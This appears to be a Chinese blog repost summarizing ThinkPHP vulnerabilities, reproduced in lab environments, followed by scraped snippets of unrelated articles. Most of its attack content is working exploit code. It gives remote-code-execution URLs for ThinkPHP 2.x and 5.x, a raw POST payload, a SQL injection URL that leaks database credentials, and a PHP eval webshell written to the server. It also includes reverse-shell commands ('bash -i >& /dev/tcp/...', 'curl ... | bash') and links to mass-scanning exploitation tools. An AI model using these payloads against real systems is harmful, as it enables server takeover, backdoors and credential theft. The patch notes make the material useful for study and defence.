ThinkPHP框架漏洞总结

article/2025/9/27 20:53:08

Thinkphp简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

Thinkphp本地安装

官网链接:http://www.thinkphp.cn/down.html

image-20210823165648788

本地搭建

1 安装vc9_x86(必装)

image-20210823170548411

2安装phpstudy20161103

image-20210823170813904

开启php

将下载好的thinkphp5.0.22解压,可以得到下图中的内容,将所有文件复制到网站的根目录,也就是www/web(这个是我新建的文件夹)

image-20210825094334990

输入域名,这里本地,可以输入127.0.0.1或者localhost或者本地ip都可(这里如果是默认的域名,远程访问的时候要改一下hosts文件),网站目录可以是任意文件夹,默认是phpstudy安装目录下的WWW文件夹,点击新增后再点击保存设置并生成配置文件即可:

image-20210825095401415

image-20210825095951627

thinkphp的主目录是在public目录下,所以要进vhosts-conf文件配置目录

image-20210825095910729

image-20210825100126133

image-20210825100155321

即可远程访问

Thinkphp本地复现

验证poc

http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra
y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

image-20210825102917102

写入一句话

<?php eval($_POST['zcc']);?>

image-20210825105239719

http://192.168.8.89/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

image-20210825105418991

可以看见被成功写入

image-20210825105457557

蚁剑成功连接

image-20210825110822370

Vulhub-Thinkphp复现

Thinkphp 2.x 任意代码执行漏洞

漏洞简介

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

preg_replace这个函数使用方法如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

可以使用在线php沙箱测试php版本是否支持/e修饰符

沙箱地址:http://sandbox.onlinephpfunctions.com/

preg_replace这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

参考链接:https://www.freebuf.com/column/223149.html

影响版本

ThinkPHP 2.x

漏洞复现

启动漏洞

sudo docker-compose up -d

image-20210825133117022

image-20210825133216880

验证漏洞

http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}或者http://192.168.9.234:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

image-20210825135839916

构造poc

http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

image-20210825141005987

caidao成功连接

image-20210825140824219

这里对其进行抓包

image-20210825141040481

image-20210825141235418
1=system("id");

image-20210825141401268

反弹shell

bash -i >& /dev/tcp/192.168.10.65/8888 0>&1python -m SimpleHTTPServer 80

image-20210825141544330

image-20210825141728713

创建好bash

1=system("curl 192.168.10.65/zcc.sh | bash");

image-20210825141919445

image-20210825142005696

成功上线。

安全防护

用户可下载官方发布的补丁:http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞简介

ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本

ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31

漏洞复现

启动漏洞

image-20210825143941636

验证漏洞

http://192.168.8.63:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell

<?php eval($_POST[zcc]);?>  #需要进行url编码
http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

image-20210825151450006

蚁剑成功连接。

安全防护

ThinkPHP官方已经发布新版本修复了上述漏洞,强烈建议受影响的用户及时升级进行防护。具体升级方法请参考:https://blog.thinkphp.cn/869075

Thinkphp5.0.23远程代码执行漏洞

漏洞简介

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

开启漏洞

image-20210825152446035

image-20210825152518762

验证漏洞

bp抓包

image-20210825152752225
POST /index.php?s=captcha HTTP/1.1Host: 192.168.8.63:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
image-20210825153028187

反弹shell

curl 192.168.10.65/zcc.sh | bash
image-20210825153338818 image-20210825153525520 image-20210825153540651

成功反弹。

安全防护

升级到最新版本(如果是在5.0.0——5.0.23之间的)

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞简介

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响版本

ThinkPHP < 5.1.23

漏洞复现

启动漏洞

image-20210825171758591

image-20210825172115210

验证漏洞

访问如下url,显示出用户名,表明环境成功运行。

http://192.168.10.65/index.php?ids[]=1&ids[]=2

image-20210825172206563

构造poc,填到password框

http://192.168.10.65/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
image-20210825174428768

安全防护

官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号。

Thinkphp自动化武器

Thinkphp综合利用工具

image-20210825165520337

image-20210825165731889

thinkPHPBatchPoc群扫

链接:https://github.com/admintony/thinkPHPBatchPoc

image-20210825201521731

TPscan

链接:https://github.com/Mr-xn/TPscan

image-20210825202544809

AttackWebFrameworkTools

链接:https://github.com/Anonymous-ghost/AttackWebFrameworkTools
下载这个:

0cde292c6d20a5d64dd8c355a86a1db

如果使用时报错如下,则修改系统时间为9.1号即可:

image-20210916160715610

这个工具使用前需要先安装4.5以及以上的.NET Framework

image-20210825205304441

image-20210825205856756

安装完成后,需要在这个工具目录下新建两个文件

image-20210825205958408

image-20210825210046952

然后双击cmd.bat,然后在cmd框中运行AttackWebFrameworkTools.exe即可。
1


http://chatgpt.dhexx.cn/article/7YNyHxRc.shtml

相关文章

Thinkphp5框架简单理解

说明 该文章来源于同事lu2ker转载至此处&#xff0c;更多文章可参考&#xff1a;https://github.com/lu2ker/ 目录 说明TP5框架简单理解1. 架构总览1.1 控制器/操作1.2 MVC模式流程1.3 类库自动加载1.4 URL访问检测1.5 路由模式1.5.1 普通模式1.5.2 混合模式1.5.4 强制路由 1.…

ThinkPHP框架-2

十、ThinkPHP框架中的模型 模型的作用、处理业务数据、与数据库进行交互。 1、导入数据表 新建tpshop数据库(create database tpshop character set utf8 collate utf8_general_ci) 导入数据表 说明&#xff1a;如果导入sql文件时&#xff0c;有报错&#xff0c;提示类似“…

ThinkPHP框架介绍及应用

一.ThinkPHP介绍 1.1.什么是框架 PHP框架是许多代码的集合&#xff0c;这些代码是程序结构的代码(并不是业务代码)&#xff0c;代码中有许多函数、类、功能类包&#xff0c;框架的代码按照一定标准组成了一个有机的功能体&#xff0c;这个功能体中有许多设计模式如MVC、单例、…

thinkPHP框架学习(速成,一天)

一。TP框架介绍与配置 第一个是最开始沿用的一种结构&#xff0c;它有一个致命的缺点&#xff1a;比如说如果后端程序员在编写的过程中&#xff0c;前端程序就不能做修改&#xff0c;一旦修改了&#xff0c;那么肯定会有冲突。 后来大家进行了改进----把前端脱离出来。 再后来…

【代码审计-PHP】基于Thinkphp框架开发的

前言&#xff1a; 介绍&#xff1a; 博主&#xff1a;网络安全领域狂热爱好者&#xff08;承诺在CSDN永久无偿分享文章&#xff09;。 殊荣&#xff1a;CSDN网络安全领域优质创作者&#xff0c;2022年双十一业务安全保卫战-某厂第一名&#xff0c;某厂特邀数字业务安全研究员&…

thinkphp框架的使用

ThinkPhp知识大全&#xff08;非常详细&#xff09; 转载文章&#xff0c;感觉写的非常好 thinkphp.cn thinkphp 3.2版本 【框架项目部署】 部署一个Shop项目&#xff0c;使用tp框架 步骤&#xff1a; 创建入口文件&#xff1a; 1.在ThinkPHP目录下创建一个入口文件index.…

PHP之ThinkPHP框架

一、框架概述 1、什么是框架 框架就是一些代码类、方法&#xff08;函数&#xff09;、变量、常量的集合&#xff0c;这些代码是功能结构性的代码&#xff08;并非业务代码&#xff09;。业务代码其实就是具体的一些模块的增删改查逻辑代码。 使用框架开发项目&#xff0c;有…

ThinkPHP框架之快速入门

一.创建工程tp&#xff0c;目录结构如下: 在工程下导入thinkphp。 在tp中&#xff0c;可以在任何目录下创建入口文件&#xff0c;也可以把项目初始化到任何目录下. index.php: <?php //定义thindphp的路径 define(THINK_PATH, ./ThinkPHP/); //默认值当前目录下的./Thi…

PHP_thinkPHP框架(1)

能够理解并使用composer PHP一个包管工具 解决源码包 依赖问题 ​ 1.7.3 软件升级 composer self-update 能够安装Thinkphp5.1框架 composer create-project --prefer-dist topthink/think[版本号] 目录名称 ​ 安装之前一定要切换国内源&#xff0c;否则成功的概率很小。 …

使用ThinkPHP框架快速开发网站(多图)

使用ThinkPHP框架快速搭建网站 这一周一直忙于做实验室的网站&#xff0c;基本功能算是完成了。比较有收获的是大概了解了ThinkPHP框架。写一些东西留作纪念吧。如果对于同样是Web方面新手的你有一丝丝帮助&#xff0c;那就更好了挖。 以前用PHP做过一个很蹩脚的网站&#xff0…

ThinkPHP框架完全解析一

第一步&#xff1a;搭建应用和框架目录 文件系统结构如上图所示&#xff0c;新建一个名为tp_an的目录作为我们的应用目录。其中&#xff0c;ThinkPHP这个目录&#xff0c;就是thinkphp框架的目录。所有涉及到框架的开发&#xff0c;都会在ThinkPHP中进行。只是为了方便测试&…

Thinkphp框架初始及安装部署

一、框架概述 1、什么是框架 框架就是一些代码类、方法&#xff08;函数&#xff09;、变量、常量的集合&#xff0c;这些代码是功能结构性的代码&#xff08;并非业务代码&#xff09;。业务代码其实就是具体的一些模块的增删改查逻辑代码。 使用框架开发项目&#xff0c;有…

认识thinkphp框架

https://www.thinkphp.cn/down.html 版本5.0.24 ThinkPHP是一个免费开源的&#xff0c;快速、简单的面向对象的轻量级PHP开发框架 tp5 WEB部署目录&#xff08;或者子目录&#xff09; ├─application 应用目录 │ ├─common 公共模块目录&#xff08;可以更改&#xff09; …

【Java教程系列】IDEA快捷键大全。

自动代码 常用的有fori/sout/psvmTab即可生成循环、System.out、main方法等boilerplate样板代码 。 例如要输入for(User user : users)只需输入user.forTab &#xff1b; 再比如&#xff0c;要输入Date birthday user.getBirthday()只需输入user.getBirthday().varTab即可。…

IDEA快捷键大全(超详细!)

4.1、字体设置 file --> settings --> 输入font --> 设置字体样式以及字号大小。 4.2、快速生成main方法 psvm、main 4.3、快速生成System.out.println() sout 4.4、注意&#xff1a;IDEA是自动保存&#xff0c;不需要ctrl s 4.5、删除一行 ctrl y 4.6、怎…

IDEA的实用快捷键大全

目录 1.常规快捷键 1.1通用类 1.2注释类 1.3操作类 1.4展开与关闭 2.智能补全类快捷键 3.程序结构类快捷键 4.统一操作快捷键 1.常规快捷键 1.1通用类 像 Ctrl C 复制&#xff0c; Ctrl V 粘贴&#xff0c; Ctrl S保存文件&#xff0c; Ctrl X剪切&#xff0c;这种…

IDEA快捷键大全 + 动图演示

目录 一、构建/编译二、文本编辑三、光标操作四、文本选择五、代码折叠六、多个插入符号和范围选择七、辅助编码八、上下文导航九、查找操作十、符号导航十一、代码分析十二、运行和调试十三、代码重构十四、全局 CVS 操作十五、差异查看器十六、工具窗口 一、构建/编译 Ctrl …

Idea快捷键大全(Windows)/Intellij IDEA常用快捷键介绍 Intellij IDEA快捷键大全汇总

Ctrl 快捷键 介绍 Ctrl F 在当前文件进行文本查找 &#xff08;必备&#xff09; Ctrl R 在当前文件进行文本替换 &#xff08;必备&#xff09; Ctrl Z 撤销 &#xff08;必备&#xff09; Ctrl Y 删除光标所在行 或 删除选中的行 &#xff08;必备&#x…

python 相关性检验怎么计算p值_挖掘数据内部联系:相关性分析

相关性表示的是两个观测的数据向量之间的变化关系。一般来讲研究对象(样品或处理组)之间使用距离分析,而元素(物种或环境因子)之间进行相关性分析。两个变量之间的相关性可以用简单相关系数(例如皮尔森相关系数等)进行表示,相关系数越接近1,两个元素相关性越大,相关系数越接…

python 相关性检验怎么计算p值_数据分析---用Python进行相关性分析(兼谈假设检验)...

一、相关关系和相关系数 世上除了因果关系,还有相关关系。 有一个叫“相关系数”的指标来量化两个事物之间的相关程度。 其中相关系数用“r”表示,取值范围介于-1和1之间。 当(X,Y)正相关的时候,r=1;当(X,Y)负相关的时候,r=-1;当(X,Y)不相关的时候,r=0。 当然一般的线性…